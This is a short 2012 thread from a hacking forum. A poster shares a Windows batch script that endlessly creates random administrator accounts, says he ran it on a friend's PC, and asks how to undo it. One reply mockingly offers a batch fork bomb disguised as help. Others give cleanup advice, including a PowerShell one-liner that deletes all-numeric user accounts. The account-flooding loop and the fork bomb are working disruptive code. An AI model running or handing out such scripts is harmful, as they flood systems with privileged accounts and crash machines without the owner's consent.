EvilZone

Programming and Scripting => Scripting Languages => Topic started by: Dark Nebulae on September 10, 2012, 11:58:58 AM

Title: [Batch] give me an antidote
Post by: Dark Nebulae on September 10, 2012, 11:58:58 AM

I created and ran it on my friend's pc. can anyone please give me a batch file to reverse this.





Code: [Select]
@echo off
:usrflood
set usr=%random%
net users %usr% %random% /add
net localgroup administrators %usr% /add
goto usrflood
Title: Re: [Batch] give me an antidote
Post by: flowjob on September 10, 2012, 12:50:36 PM
lmao

just make a loop that checks through all usernames. if the username is not a original one,remove the user,otherwise skip...
Title: Re: [Batch] give me an antidote
Post by: NeX on September 10, 2012, 11:24:24 PM
You're true genius!
Try running
Code: [Select]
s:
start %0
goto s
Title: Re: [Batch] give me an antidote
Post by: xzid on September 12, 2012, 08:51:57 AM
%random% will be digits only, regular usernames will usually contain letters.. remove all numeric usernames, in powershell:

Code: [Select]
([string]($nu=net user)[4..($nu.count-3)]).split(" ")|?{($_ -match "^\d+$")}|%{net user $_ /delete}